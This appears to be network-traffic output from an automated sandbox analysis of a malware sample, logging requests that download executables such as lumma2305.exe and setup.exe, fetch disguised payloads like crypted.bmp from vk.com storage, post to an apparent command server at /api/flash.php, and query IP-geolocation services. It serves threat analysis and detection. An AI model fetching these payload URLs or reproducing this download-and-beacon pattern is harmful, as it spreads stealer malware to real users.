Source: global traffic	HTTP traffic detected: HEAD /pelikan HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /vape/niko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 147.45.47.149:54674Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download.php?pub=inte HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.65.64Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: fleur-de-lis.sbsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /f/oiii.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: f.alie3ksggg.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download.php?pub=inte HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.65.64Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/getimage12.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 91.202.233.232Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /pelikan HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f/oiii.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: f.alie3ksggg.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vape/niko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 147.45.47.149:54674Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: fleur-de-lis.sbsCache-Control: no-cacheCookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
Source: global traffic	HTTP traffic detected: GET /download/th/getimage12.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 261Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 689Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: GET /aaaaaaaa.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: sta.alie3ksgee.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: HEAD /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: HEAD /download/th/Retailer_prog.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: GET /download/th/Retailer_prog.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 113Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: HEAD /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.56.26
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.149
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.65.64

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_00878590 recv,WSAStartup,getaddrinfo,closesocket,socket,connect,closesocket,freeaddrinfo,WSACleanup,freeaddrinfo,

5_2_00878590

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ssl/crt.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: lop.foxesjoy.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/builddoc.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: kurd.computerCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /post/File_294/setup294.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e94c9; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c9_38akcjk2e94c966507d0f219cd2.18412034
Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp4OAVyDAr1uKZWHdqzidK1oz5VZ5ub6orZHcP&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQjQrOrgQQEHUCRd047rb5MQJh_O0D4ay8NQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK498n-XznH5kK5CQ_NiPX2pbqaTIAO6neyg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jRz3VHyIyqSgoQJ0PIBZD5yYwFOMWsgUwY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXnvMo2rYan1ud8tt9Muz7f4srpOpg5pk8&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubw0rRzXVmp4JW2WtG0VPysJ8Ykqmv1BvGsI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDcXyJUZNyRnnX0rJt7A1_VB7rEMDNUg9EA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cacheCookie: remixlang=3; remixstlid=9068030949443387325_NGR4K8R73ya6BWvG15JUMzvA1VoJM3xkbdPjML8QTjw; remixlgck=97161aec10fb207ac3; remixstid=359637111_zjquBN3qKtIZdISlmymUJ2Ztdo5Vh7QJ42TEqSZMxB4; remixir=1
Source: global traffic	HTTP traffic detected: GET /doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreuF016zSG-PMeLmWuk7pR8kMj7KZ_yatRQQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: psv4.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1aFYp7.mp3 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
